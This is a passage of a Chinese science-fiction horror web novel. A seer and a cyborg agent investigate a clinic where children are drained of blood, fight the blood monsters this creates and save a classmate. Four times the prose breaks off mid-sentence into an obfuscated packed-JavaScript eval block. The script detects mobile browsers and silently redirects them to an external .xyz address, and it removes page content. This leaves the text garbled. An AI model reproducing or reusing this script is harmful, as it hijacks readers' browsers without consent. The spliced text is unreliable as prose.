“没什么事。疼得厉害吗?”王磊心有疑惑,却没在病人面前表露。难道是最近夜班太多,记忆出现了混乱?可电脑上确实表示自己接诊过这个病人,还开了检查项目。 “很疼。”霓虹没遗漏他脸上的表情转换。 “行。去缴费吧,拿药……打针。”王磊没忍住打了个哈欠。自己怎么会这么困? “谢谢医生。”接过报告单,霓虹假装不经意地碰了下大夫的手,随后大步离开了诊室。 那皮肤的触感温热。 “五百星币。”同样的价格,被收费处冰冷的电子音报出。霓虹惯性地抬手刷了光脑,脑海中却在想别的事。 那大夫不记得给她开过验血。霓虹笃信这一点。 所以,这里的现实空间和死界是连续、线性存在的?她只知道进入死界会覆盖现实,那么既然走出,死界里发生的诡异的一切,都应该像青环路39号那样,干干净净,没有痕迹。 界中界?死界中的怨灵也能操控现实?霓虹认为这一点不成立——要是如此,带着怨恨死去的灵魂早就将整个联邦搅弄得天翻地覆了。 究竟是活人做局,还是怨灵搞的鬼? 岑为说这里有异质体的线索,异质体又在哪儿?刚才那伸手不见五指的黑暗里吗?太多问题都无从解答。 霓虹到药房领取购买的针剂,那值班的女人朝她翻了个白眼,似乎是在抱怨大晚上哪来这么多病号。 针剂到手,霓虹略有不安地走向输液室。她对岑为了解不多,但他既然能在第一核心区稽查员的眼皮子底下安然无恙,能力自然是出众的。 这样的人,无声消失在了这间小小的输液室里。 她绷紧神经,不敢大意,侧身敲响了输液室的门。 …… 二十五分钟前。 “进来吧,先做个皮试。” 岑为听着护士的吩咐,走进输液室里间。他的右眼轻眨了下,瞬间扫描起屋内所有电子设备的信息。 他是经过顶尖技术改造、全智能化的机械人,可以不借助任何外力,搜检一定空间内所有记录过的电子信息。 “挽起袖子,露出大臂。”几分钟后,护士拿着调配好的皮试器械过来,拉上帘子。 “唔!”只一瞬间,护士手中的装有药液器械掉落,被岑为勾脚接住。他像鬼影般绕到护士身后,大力勒住她的脖颈,一只手死死捂住她的嘴,让这声叫嚷淹没在唇齿之间。 “救助站里有什么秘密?”他的唇瓣凑近对方耳廓,低声恶狠狠地问道,“我劝你最好如实说,不要叫嚷,我怕一个失手,弄死你。” 那护士无力地推搡着脖子上宛如钢铁一般坚实的手臂。片刻后,岑为放开已经经历过窒息濒死状态的护士,没什么表情地任由她瘫软在地。 “咳,咳。”那护士好一会儿才平复呼吸,仰头看向岑为的目光,像在看鬼一样惊恐。 “这里……这里……”护士的眼神惶恐至极,仿佛说与不说,自己都会惨烈地死去,“血……” “血怎么了?”岑为半蹲下来,用那张极致完美的脸凑近她,声音略显蛊惑。 “血都被……” 嘭。 岑为飞快抬手,五指用力张开,在身前形成一道淡蓝色的防御墙,抵挡住她肢体的突然爆裂。 他紧皱起眉。这个护士身体里仿佛安装了某种自爆程序,顷刻间,连内脏和骨骼都炸得渣都不剩。满屋飞溅的血迹猩红可怖,岑为尽量绕开地上的血迹,在屋内搜寻起来。 他接到的线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“先进来。”岑为谨慎扫过走廊,将一头雾水的霓虹拉进屋里。 “为什么不听指挥?”岑为向来独行,怕的就是这种麻烦。要不是Q先生第一次明确给出了异质体的位置线索、且自己改造后的双眼也无法看到异质体,他才不愿意带个一看就是刺头的小姑娘出来冒险。 霓虹看着灯光下屋内满墙满地的鲜血,瞬间明白了先前那名护士的遭遇。 岑为依旧是一身银白,除了鞋面没有一丝血迹。这么“壮观”的场景,很像方才诊室里大夫自爆的情景。 “我怀疑自己进入了死界。”霓虹不想长篇大论,“这个救助站里有不同身份的怨灵。” 岑为对死界并不陌生。他只能说UMA这套老旧的小儿科还是太肤浅,到现在还在强调理论,让霓虹觉得,怨灵和死界存在必然联系。 “这里有间地下密室。救助站在拿人血饲养什么东西。”岑为也快速交代了自己的发现。 “你怀疑他们拿血来饲养异质体?”霓虹瞬间清楚了他的想法,可人血……若异质体以人血为生,她奶奶早就被吸成干尸了。 “不确定。”岑为领着她到黑洞洞的地下室洞口,“下去就知道了。” 岑为不知从哪儿掏出个细如烟蒂的手电筒,照亮了下方。是需要攀爬的通道,大概三五米的高度,可以见到地面的瓷砖。岑为率先下去,霓虹紧随其后。两人飞快潜入地下,没人注意到输液室地面的那滩血泊,正在悄然朝某个方向缓慢移动。 23.圣亚戈救助站(五) 这是个两向贯通的狭长地下室。 岑为按开灯,不露声色地扫描着地下室一切,试图排除未知的风险。 霓虹抬头张望了眼地下室的洞口,试着将自己的视线扩张到洞口表面。也许是方才的黑暗锻炼了她的灵视能力,此刻她能大致看清洞口周围的环境。 和他们下来前无异。 “去右面看看。”岑为扫描了左侧大型轰隆运转机器的数据,发现只是一台联合血浆分离机和血液净化处理的医用设备,没什么问题。机器一旁放置着并排的几个密封铁箱,暂时看不到内容物。 进入右侧,需要先通过略微狭窄、仅能通一人的狭长通道。明明在地底,霓虹却能感受到周身的空气越来越清新,像是人工制造了饱氧环境,每呼吸一口都是舒爽。 十几米的距离后,一扇液态智能门赫然出现。这扇由暗绿色流动金属制成的门,让她想起UMA地下负108层传送舱室的那扇。 岑为将手放在门上,自由方向流动的金属忽地聚集,攀上他的手腕。紧接着,这些金属逐渐扭曲,缓慢朝门框四周边缘散去。 “这门上的是什么东西?”看到这里,霓虹基本可以确定,这和UMA地下那扇门一模一样。 “这是智能门控。”岑为解释着,“传言可以抵挡异质体。他们不具备穿透人类电子设施的能力。” 两人并肩踏入这间墙壁和地面满是金属流体的房间。 岑为警惕着周身的每个方向。这里有一个半人高的铁笼、一面电子操控屏、一根大腿粗细的运输管道、和房间四个角落正亮着红灯的监控设备。 他冷漠直视着监控设备,里面的红灯瞬间熄灭。他没想到“关押”异质体的地方会如此简陋,像一群普通而愚蠢的人发现了什么宝贝,不想惹人注目,只好先悄悄藏在地下。 “你有看到什么吗?” 霓虹看向完好无损、表面覆盖着流体金属的铁笼,里面空无一物。她扫遍每个角落,也没有任何异质体的踪迹。 “这里没有异质体。”霓虹摇摇头。同时她十分不解地看向那个笼子——将异质体囚困在这里的人,真的不知道异质体可以任意变形、这点间距完全够它们畅通无阻吗? 是哪位视灵者发现了异质体的存在?是受了谁的指使?又和救助站有什么关系?霓虹想起季明珊的忠告,824区最近不太平。 “我们上去吧。”岑为难免有些失望。他冒着留下踪迹的风险来到救助站,每一步都遵从了Q先生的指示,却没得到想要的线索。 “等等!”霓虹忽然扯住他的手臂,阻止他向前一步。 就在刚刚,霓虹心脏猛地一沉,头皮发麻——她察觉到有什么东西,正在暗中窥视自己。 “怎么了?”岑为立刻做出防御姿态,机械右眼疯狂扫视着范围内的一切。 “我察觉到了目光。”霓虹艰涩开口,“不止一道。” 这未知的目光里透着满满的恶意,像在无声谴责两人冒失打扰的行为。她无法分辨这诡异目光的来源,但数量不少。 岑为清楚这里存在未知生物体,联想到方才护士的自爆,他微蹙眉,脑海中大体有了思路。 “你留在这儿。”上面恐怕有打斗,岑为了解视灵者的珍稀,不想让她轻易涉险,“我会封锁这里,一般生物无法进入。” 霓虹同样怕拖后腿,点点头答应下来。 霎那间,他的身影已消失不见,这间囚房的大门再次被流动的金属覆盖。霓虹不知他是不是用了时空传送的能力,只能暗叹他身手了得。 光脑在这里完全失去了信号。她环顾四周,试图再找出刚才遗漏的细节。这里连智能屏的布置都和UMA管理局很是相似,这件事的始作俑者,肯定和UMA逃不开干系。 员工守则第九条:禁止私育未知生物体。 霓虹不得不感叹UMA洗脑能力的强大,那本员工守则像长了触角,钻进她的大脑里生了根。 异质体究竟有什么能力?季明珊肯定略知一二,但那时怕问多了暴露自身,霓虹就没开这个口。 一番搜寻无果,霓虹倚墙盘地而坐,静静等待着岑为的归来。 不过片刻,她的眼皮开始不受控制地发沉,意识迷离,头一歪就昏睡了过去。 梦? 霓虹清醒地睁开眼。 她正缓慢行走在一条漆黑长廊中,却能看清自己正光着脚踩出一个又一个涟漪。 “救我!”她忽然听到混乱之中朦胧的呐喊。自己像沉在水底,眼前的一切都随着脚下的涟漪荡漾开来,不甚真切。 她侧头追逐着这声哭嚎,一个场景迅速在眼前铺展开来—— 一个满脸泪痕、双眼猩红的十几岁少年,被四五个彪壮大汉按住了手脚,困在了小小的铁床上。他奋力挣扎着身体,一脸绝望地看着方才为他抽血的护士,将小臂粗的采集管安在他的肘窝。 他眼睁睁看着自己的血被快速抽进血袋,只是几秒时间,他的面色快速苍白、嘴唇颤抖,体表浸出大量汗珠。他清醒地感受着生命的流逝,眼中的惊恐逐渐转变为茫然无神,几分钟后干瘪无声地死去。 霓虹喉咙一紧,视线随着场景移动,来到了门外。 她认出这是三楼的走廊,某间休息室外。一位年轻母亲正焦虑地踱步等候,诡异的是,她焦虑的神情逐渐变淡,最终演化成了茫然和疑惑。她似乎不记得自己为什么会出现在这里,甚至对手里拿着的检查单子感到陌生。 她走到检验科玻璃窗前,将那张报告交给窗口的采血护士:“您好,我捡到了一张报告单,不知道是谁的。” 那护士飞快接过,示意她可以走了。那女人再次疑惑地看向方才自己停留的休息室前,没多停留,快步离开了。 霓虹毛骨悚然——屋内被抽干血液的男孩有着和女人十分相像的五官。他们不一定是母子,却肯定有着某种亲属关系。 视线再次跳转。她看到了另一间休息室,里面有两个学龄前的女孩,正和一名护士玩着跳方块的游戏。护士笑着为两人打着节拍,看起来分外温馨。 霓虹刚松了一口气,就看到那护士不着痕迹地伸出一只脚,绊倒了正在单脚跳跃的女孩,另一个则一脸懵懂地跑到摔得额头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702043|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着地的同伴身边,怔怔地看向一旁微笑着的护士姐姐。 那护士一脚踢翻了凑热闹的女孩,后者瞬间鼻血如柱流淌。此时另一个护士拎着保冷箱推门而入,略有嫌弃地看向床边正在肆意折磨孩子的同事。 “血都浪费了。”她避过地上的血迹,打开箱子,拿出血袋和抽血机,连接固定。 “好了别玩了。”她笑着蹲下来,撩开其中一个孩子粉色的纱裙,动作敏捷地将采血口按上她的大腿。 噗呲一声,是皮肉破开的声响。那护士眼疾手快地用提前备好的胶条封住孩子的嘴,另一个看到这番场景,正要哭喊,就被那个残暴的护士抓住头发起身,一掌劈晕了过去。很快,两条稚嫩的生命无声无息的逝去,只留下两袋鼓鼓囊囊的红色血浆。 门外是个佝偻的老妇。她手里拿着两个画着卡通人物的粉色水壶,还和陆续进入休息室的两个护士打了招呼。可渐渐地她迷茫地看向四周,将手里的两个水壶看了又看,最终摇摇头放在门边,背着手缓步离开了三楼。 接下来是一个穿着校服的高中生、一对尚在襁褓的龙凤胎、一个害怕抽血而被扒光衣服的少女……数十个孩童、青少年在这一间间休息室内,被残忍地抽干了血,鲜活的生命顷刻变成枯败可怖的干尸。 霓虹呼吸急促,滔天的愤怒让她控制不住嘴唇的颤抖。 为什么要残害和践踏生命?她无法抑制胸腔上涌的热气,身体仿佛拥有了可怖的力量。她想将那些人或漠然、或嘲弄的脸孔撕下,将他们的血肉分裂成无数碎片,让他们的血为死去的无辜灵魂祭奠。 “哎。”霓虹身后又传来一道熟悉的、深深的叹息。她不再恐惧,满脸怒意地转过身去。 她看到了异质体。 不,不止是异质体。这团涌动着的黑色粘液前方,挂着一具穿着白大褂的腐烂尸体。尸体尚且完整的正嘴巴一张一合,发出悠长的叹息。 它在借尸体的嘴巴说话。 原来是它。漆黑走廊里始终紧贴身后、为她指引的未知存在,竟然是岑为要找的异质体。 “不要插手,霓虹。”见她认出自己,异质体缓缓操纵尸体开口,声音还带着些许遗憾。 “为什么?”霓虹从紧咬的牙关缝隙,艰难地挤出这句话。 “因为你不够强大。”异质体始终和她隔着几米的距离,像一名饱经风霜的长者,可怜地看向膝下无知的孩童。 霓虹双拳握紧,垂下头颅,紧闭双眼。 那些可怜的干尸在她脑海里挥之不去。 “呼。”十几秒过后,她急促地呼出口气,像身体里加载好了某种程序。 霓虹微仰起头,瞬间睁开双眼。那双黑亮的眸子变为金黄,瞳孔边缘仿佛有流动的生命,又像是要隐隐分裂出另一个瞳孔。 “你算什么东西?”霓虹冷哼一声,死死盯住眼前的异质体。 如果那数十个鲜活的生命,就是为了哺育面前这团肮脏、丑陋的黑色粘液—— 哪怕季明珊说过,异质体永远无法被清除—— 她也会不惜一切代价、想方设法弄死它。 24.圣亚戈救助站(六) 眼前的黑漆长廊飞快消退。那可怜的大夫腐尸摇晃两下摔落在地,和霓虹一同回到了地下密室。 她没察觉到自己瞳孔的变化。若有若无的恶臭萦绕鼻尖,将她的心情搅弄得更加烦躁。 她想离开这里。 霓虹学着岑为的样子,将手掌覆上门,毫无反应。她又重新细致检查了密室的构造,并无其他出口。她甚至研究起那根连通外界的管道,认真考虑起自己能否在毫无工具的情况下拆除。 几番试探无果,霓虹强迫自己冷静下来。 救助站里的确有异质体。先前她错误地将其认成了怨灵,下意识以为自己进入了死界空间,而事实上,那阴森漆黑的走廊是异质体的手笔。这次交锋过后,霓虹对异质体有了新的认知——它拥有高级智商和融合生长、任意变形的能力,甚至在大部分人眼里隐形存在,还可以将她的意识独立带入诡异而独特的暗黑长廊……她都开始怀疑,季明珊是否真的能操控异质体。 这些看似凌驾于人类之上的物种跨越无垠之地、来到地表之上的目的究竟是什么? 咚! 还未等她深入思考,头顶突然传来巨大的撞击声。霓虹谨慎地躲在靠门一侧。这撞击声每隔几秒就重复响起,她能清楚地感知到,有什么东西正一层层砸穿了地面,离她的头顶越来越近。 咚! 数十声震耳欲聋的撞击声后,霓虹惊讶地看着密室的天花板破开直径数米宽的大洞——一团暗红色的、表面覆着黑色粘膜、外观如同花菜表面的巨大肉瘤从中坠落,狠狠砸在了那具腐尸之上,瞬间液体飞溅。银装上满是血迹、面色凝重的岑为正跪于其上,将一把刀刃幽蓝的长刀插在其上搅动。 霓虹看向这团令人作呕的怪物,下意识后退贴紧了墙壁。 “抓紧我!” 霓虹没能看清接下来发生的一切,只察觉到自己被岑为捉住了手腕,身体瞬间移动到了几米开外。 岑为抬起另一只手,使门上的液态金属加速闭合,将怪物封存在了密室之中。 他们来时攀爬的路线已被一层正在流淌的粘稠血迹覆盖——事实上,两人脚下的地砖早已满是鲜血。霓虹看向通道上方,遮掩住洞口的并非是那扇活动门板,而是正在有频率、规律呼吸着的另一团肉瘤怪物。 “这是什么东西?”霓虹咽下喉咙泛起的酸水,胃中一阵翻腾。 “血精。”岑为厌恶地看向洞口的那只,“这栋楼里大概有三十多只,部分可以做到完全拟人。” 血精?拟人? “你……”岑为看向些许瘦弱的霓虹,再次觉得Q先生给他找了个大麻烦,“我先把你传送走,这里需要清理。” “我看到了异质体!”没等岑为破开时空结界,霓虹飞速开口,“它就在这里。” “会用枪么?”岑为思考几秒,一只手反伸到背后,神情严肃地看向她。 “会。”虽然只有几节射击课,但她的考核成绩还算不错。 得到了肯定的答复,岑为从背后掏出了把袖珍手枪,没多犹豫就递给了她。 “单枪五十发子弹。我开路,你替我扫清背后。” 霓虹接过手枪,只觉眼前一阵疾风扫过,洞口处阻挡的怪物和岑为一起消失了。她也不再耽搁,忍住想要呕吐的冲动,用牙咬住手枪握把,迅速攀爬上湿滑的血梯。输液室内,岑为正在和那团怪物交锋,他手持双刃,飞快斩向血精,几乎停滞了它向前扑食的动作。 霓虹目光锁定了门口正向屋内涌动的、体型稍小的团状瘤体,几乎没有片刻犹豫地出枪。子弹精准射进其体内,那怪物瞬间发出尖利刺耳的哀鸣。她刚欲转身助岑为一臂之力,却惊愕看到自己射杀的怪物剧烈抖动着,快速分裂成了两半。 “继续打!”岑为察觉到她的停顿,“这东西最多分裂两次!” 砰砰!又是两声枪响。霓虹紧张地等待着第二次分裂,却发现那两团怪物表面的颜色飞快黯淡下来,最终化成一滩黑黄交接的液体,在满地血泊中很是突兀。 “那是幼态血精。”岑为同一时间斩杀了那团体型稍大的血精,用肘弯擦了擦刀刃,“你枪法不错。” 或许这也算视灵者的天赋之一。她的视野比常人要广,准头十足,反应速度也快。 岑为锁上输液室的门,在这暂时安全的空间里,问起霓虹关于异质体的事情。霓虹照实做答,唯独隐去了她和异质体交流的部分,只说自己被拖入黑暗长廊、看到了救助站内血腥的真相。 “这或许就是这些血精的源头。”岑为思索片刻,“脱离活体的血液,短时间内仍会残留活性。或许是本体死前的极度恐惧和怨念,催生了这种怪物。” 霓虹点头认可,随即问道:“你有没有去三楼?那里也有怪物吗?” “嗯。”岑为面孔扭曲了下,“那里应该是诞生地,至少有十个巨大体型的怪物。” 霓虹想到异质体带她看到的那些画面,倒也不觉得奇怪。既然这些无辜生命都在三楼休息室里死去,由此诞生的血精自然会在三楼聚集。 只是…… 霓虹并不想干涉她人命运,但那张常因羞躁而通红的娃娃脸,此刻却在她眼前挥之不去。 全盈还在三楼。 这个事实干扰了她的理性思考。 “我想去三楼。”霓虹脑筋急转,给出了合适的理由,“异质体……可能在三楼潜藏。” 岑为在心里赞赏了她的勇气,“你跟在我身后。” …… 两人背靠背,缓慢踏入白炽灯下猩红的走廊。霓虹抬手扫射了视线内三五个在地面和墙壁上匍匐蠕动的幼态血精,谨慎地流转视线,观察着每个可能突然窜出怪物的房门。 霓虹突然听到身后传来激烈的打斗声,伴随着尖利的嚎叫。她用余光轻瞟了眼,只见那怪物被岑为戳了个稀烂,正流出一股一股的黑黄粘液,伴着腐烂的腥臭。 解决完一楼的三个、楼梯间的五个大型血精和十几个幼态或分裂残余血精之后,岑为递给霓虹三盒替换的弹夹,收起长刀,从后背凭空掏出了把轻型机枪。 霓虹看了看手里不过巴掌大的袖珍手枪:“……” 算了,自己只是辅助。 抵达三楼,霓虹发现这里和她来抽血时迥然不同——检验科那扇巨大的玻璃已然粉碎,散落满地。地面的血迹比一楼更鲜艳,休息室的门都大开着,血腥味儿浓得让人怀疑自己是否正在流鼻血。 可走廊空空荡荡。 “藏哪去了。”岑为不满地嘀咕着。 霓虹跟着他前进几步,不动声色地瞥了眼检验科内。她没听到任何呼救,也没看到任何尸体,只有浓厚粘稠的鲜血、和明显经历过打斗后如同废墟的科室。 “你封在密室里的血精,就是从这儿砸下去的?”霓虹看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15708107|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了地上数米宽的大洞。 “没错。”岑为走在前,始终架着枪口扫视着整条走廊,“那本来是个人。我听到楼上有异响,向她询问,结果差一点就被它变形咬下脑袋。” 霓虹没能直接细致地观察已经发育成熟、具有显著攻击性的大型血精,但一想象那还在鼓动着的鲜红肉瘤张大嘴巴、露出变异的牙齿,还是打了个寒战。 “那人……长什么样子?” “没太注意。”岑为摇头,“应该是个护士,戴着帽子和口罩。” “我曾经生活在824区。”霓虹尽量让语气像是不经意间提起,“我有个同学,她母亲在救助站当护士。” 岑为脚步停顿,“你想营救?” “我只想……” 咚!轰隆隆隆—— 霓虹的后半句话淹没在巨大的声响之中。变故发生得飞快,她脚下的地面顷刻间粉碎,整个人不受控制地向后倾倒、下坠,重重跌落在地面。 霓虹挥开眼前飞扬的尘土,浑身血液瞬间冲上头顶! 一个足有七八米高、顶破屋顶的高巨血精,正抬脚迈出方盒大的密室。它已经进化出头颅和四肢,浑身布满交织成网的黑色粘液和臃肿血块,活像个被剥了皮的巨人。 它正端详着自己两指捏住的小人。 岑为奋力挣扎着,试图抵抗这股要碾碎他身体的巨力。这庞然大物的头顶还插着自己那把光刀,仿佛一个装饰品,闪着幽幽蓝光。他的双手被特意压住,这东西在有意识防备自己的能力,让他无计可施。 霓虹看清了怪物手里的“玩物”——岑为像只被捉住的蝇虫,只能用蛮力挣脱。她的左手仍紧握着那把袖珍手枪,可她清楚地知道,拿子弹来对付它,只会加速自己的死亡。 “你可以走。” 绝望之时,霓虹耳边再次响起了那道低沉的声音。她视线环顾,并没看到异质体的踪影。 “这是个陷阱吗?”霓虹想不出眼下这种局面,怎样才能让她和岑为击败血精,全身而退。 “或许。”异质体轻飘飘地回了句,“我说过,你还不够强。” 霓虹听出了异质体的嘲弄之意。她目光悲凉地看向始终没有放弃挣扎的岑为,突然意识到或许不是对方强制拉自己入局、以身涉险,而是她注定要回到这里,以一名视灵者的身份。 “你并不依赖血液生存。”霓虹突然开口,“为什么要残害人类?” “在我眼里,人类和你面前的怪物,没什么分别。” “是啊。”霓虹轻笑一声。她在一瞬间看到了皮肤皱缩而干瘪死去的孩子,看到了那些痛失孩子却不自知的可怜女人,看到了岑为僵硬的四肢和忍痛的表情、看到了身体瘫痪却被附身操纵的奶奶。 她拄着膝盖,不顾背后撕裂般的疼痛,缓缓起身。 那高大的血精似乎瞬间察觉到了什么,将目光偏离,看向自己的脚下。一个瘦弱到不如它一根手指粗细的人类正艰难起身,低垂着头,看起来脆弱而又单薄。 它浑身忽地震颤,竟被一股莫名、无形的力量逼得倒退一步。 霓虹无声抬眼,静静注视着巨大血精的“心脏”位置。她的瞳孔内仿佛有纯金色的液体流动,瞬间锁定了躲藏在巨怪体内的异质体。 她的目光穿透了层层血雾,像是紧紧掐住了异质体的喉咙。 “可那并不是你玩弄生命的理由。” 25.圣亚戈救助站(七) 岑为感受到压迫在一瞬间减轻。几乎是本能反应,他向后空翻落地,同时愤怒地从背后掏出自己的蓝焰双刀——那上面涂抹着来自迷失海域的巨齿冰鲸血液。 岑为甩出蛛丝绳索,以肉眼无法分辨的速度奔到血精头顶,瞄准头颅顶部正中位置,飞快从其头顶劈砍到脚底。 霓虹无暇顾及岑为的动作。她初步进化的金色双眸正死死紧盯着异质体。 嘴唇慢慢扬起微小的弧度。 僵持了数十秒后,那异质体像忽然得到了喘息的余地,刹那间无影无踪。霓虹看到眼前血红的巨怪被斩成两半,逐渐像融化的冰块,流淌下蜿蜒的、泛着油亮的液体。 岑为正单膝跪在废墟之上。他那两把蓝刀交叉别在后背,怀里正抱着个被粘液包裹半身的人。 霓虹不顾浑身透支的酸痛,下意识趔趄着朝他走去。她看清了缠绕口鼻的粘液下,全盈的表情平和安详,像是早已平静死去。 她被怪物吃掉了。 岑为方才锋利的刀刃堪堪擦过她的头皮,全盈束起的长发此刻变成了板寸,毛茸茸的。他只来得及在半空中揽住她,没摔落在地形成二次伤害。 岑为掏出一根橙色针剂,毫不犹豫地刺破她大臂的皮肤,缓慢推注进去。霓虹用手拨开她头颈上厚重粘稠的液体,用指肚轻触她的颈侧。 突然,全盈惊恐睁开双眼,张大嘴,胸口大幅度起伏,发出剧烈的抽气声。 霓虹松了口气。方才残留的余力瞬间消散,她两眼一黑,身子一软,不受控制地栽倒在地。 …… “她醒了,告诉我。”岑为将两人隐秘地安顿在824区某个废弃的大型工厂内部。 “好。”注射针剂后,全盈恢复得很快。但她神情哀伤,眼神空洞,轻擦着霓虹身上的血迹,仿佛只剩下照顾好她这一件事值得去做。 岑为掩上员工宿舍的房门,攀爬到天台,拨通了自己两天前才得到的号码。 对面接通得很快。 “找到异质体了么?” 浑厚的声音一听就接受过变音处理,岑为不在乎这点,直接出言质问:“为什么怪物会知晓我的能力?” 他不相信一团肉酱似的血精,速度会快到让他来不及应对。要不是那一瞬的喘息余地,他估计自己会被它轻松捏死。 为什么会针对自己?他只被极寒荒原上的古老冰兽追上过,这种诞生不过区区几年的怪物,凭什么能让自己如此狼狈? “因为异质体出手了。”对方很冷静,仿佛毫不意外他们的遭遇,“霓虹呢?” “昏迷。”岑为面色低沉,“你透露给我824区的坐标和视灵者的信息,并不是在完成我们的交易。你是想测试霓虹的能力。” “是。”对方认下了自己的私心,“如果她没能爆发,你们没机会离开救助站。” 岑为踩着天台边缘,风声呼啸。他麻木地看向空荡的四周,鲜少地露出茫然的表情。 “不过,”似乎是不想他陷入绝望,对方转移了话题,“你要找的人,就在824区。” “好。” …… 霓虹苏醒的一瞬间,突如其来的剧痛让她无法睁开双眼。她像一条搁浅的鱼,下意识扑腾起来,差点打到一旁守着的全盈。 岑为推门而入,“怎么了?” “她好像是醒了。” 岑为将一只蓝色的阵痛针剂注射进她的身体。不过几分钟,霓虹满头是汗地睁开眼,慢慢平复了急促的呼吸。 她的瞳孔没有任何异常。岑为按下心头疑问,静静起身,立在一旁,仔细观察着她的一举一动。 “全盈?”她哑着嗓子开口,确认眼前看到的,是真实存在的人。 “是我。”全盈一瞬间落下泪来,抬手搂住了霓虹的脖子。那在岑为面前克制压抑的情绪瞬间爆发,逐渐由小声呜咽变为痛声哭嚎。 “好了,好了。”霓虹抚着她瘦削的背,“都过去了。” “刚才,刚才……”她断气般抽噎着,“我听到有人,就起来,起来看,是我妈妈。我妈妈说,她说让我回家睡,还让我,让我穿厚点,外面冷。我刚要走,她,她突然……” “别想了。”霓虹猜到了她的遭遇。她的母亲……已经是被处决的怪物。 想到这里,霓虹侧头看向一旁不发一言的岑为。 “会有人处理好救助站。”他打消了她的顾虑,“等你恢复好,我送你回去。” 她没应声,低头看向怀中痛苦得缩成一团的全盈,“先送她回去。” 全盈猛地抬头,瞪大双眼,“回到哪里?” “你本该存在的时空。”霓虹知道自己无力抚慰她亲眼看到母亲异变成怪物的伤痛,多说无益,只能交给时间。 全盈正疑惑,只见余光中凭空出现了一道冰蓝裂隙。下一秒,自己正端着瓷白的餐盘,在嘈杂混乱的食堂里驻足。 “怎么了?”本和她并肩聊着八卦的同桌同样停住脚步,关切地看向她。 “没什么。”全盈只觉胸口拥堵,像被千斤石头压得喘不动气。 她下意识看向圣亚戈救助站的方向。食堂的落地窗外,只能看到联邦警署的大楼。 全盈的眼眶里漫起一层薄薄水雾,将她短暂地与现实相隔。 …… “你有什么打算?”岑为不再看轻这个十六岁的视灵者,毕竟对方救了自己一命。 “回救助站。”霓虹扶着墙壁,缓缓起身,“这事还没完。” “你想做什么?”他们好不容易才脱离危险,剩下的清扫,该由做事滴水不漏的Q先生收尾。 “真相。”霓虹看向岑为有些怔然的双眼,“我要知道全部的真相。” 岑为没再使用加速的能力,而是在附近找到一辆废弃飞车,载着她再次前往救助站。霓虹坐在副驾驶位,余光观察着岑为的状态。看来他这次的损耗也不小,虽然不像她这样浑身伤痛,但明显带着股隐隐的挫败感,不再那么高傲和自视优越了。 飞车在空中平稳行驶着。 “你都把武器藏哪儿了?”霓虹没忍住自己的好奇。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713488|172896||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无论是刀还是枪,都像他凭空变戏法变出来的。 岑为耸耸肩,无所谓地解释着:“我身上穿的是微缩战衣,如果我想,可以装下一枚轻型导弹。” 霓虹左看右看,还是不理解这身战衣是如何压缩的。就连季明珊都只能将匕首插进靴筒,他又是从哪儿搞到这么先进的东西? “那你为什么还要用冷兵器?”UMA的培训课上,苏芸为她介绍了联邦主流的枪支弹药,对于铁索锤、刀剑、红缨枪、银针暗器等古老的冷兵器,仅仅是提过一嘴。这些被淘汰的武器大多封存,或被人收藏纪念,很少应用于实战。 “材质特殊。”岑为没直白地告诉她刀刃上冰鲸蓝血的妙用,“子弹还需要时间填充,而挥刀不用。” 霓虹微微点头,表示认可。 “到哪儿能搞到你这件战衣?”霓虹已经能够预料到前路的坎坷。她需要丰富的资源。 “忘记了。”岑为将飞车停在三个街区外的林荫道下,“如果想起来,我会告诉你。” 救助站像经历过一场强级地震,一楼塌陷入地,二楼和三楼墙体损坏严重,几乎分不出界线,只有灰白的水泥、砖瓦和钢筋,勉强地维持着直立的形态。 周围的居民区密集而又安静。霓虹习惯性朝某个方向眺望着,旋即想到奶奶已经不在贫民区生活,这里并没有值得她守护的亲人。 “怎么做到,这么大的动静却没人看热闹?”她有点想不明白。昏迷之前,她还在忧虑自己会不会和岑为并列出现在联邦警署的通缉名单之上。 “因为这是两天之前。”岑为和她并肩站立,“除非有人经历了两天的长久睡眠,才有可能被这里的声音影响,从而苏醒。” 这样就好办多了。 “能不能把你的轻型机枪借给我?”霓虹没跟他客气,直接朝他伸手。 岑为笑笑,“我有更适合你的武器。” 说着他从背后掏出一把双管的银色□□,利落装好二十发子弹后递给她,用眼神示意她试试看。 霓虹看着手里枪管足有四五十厘米长、却仍旧轻盈如袖珍手枪的喷子,穿过马路,走到救助站倾倒的围墙前十米的位置,朝这堆废墟开了一枪。 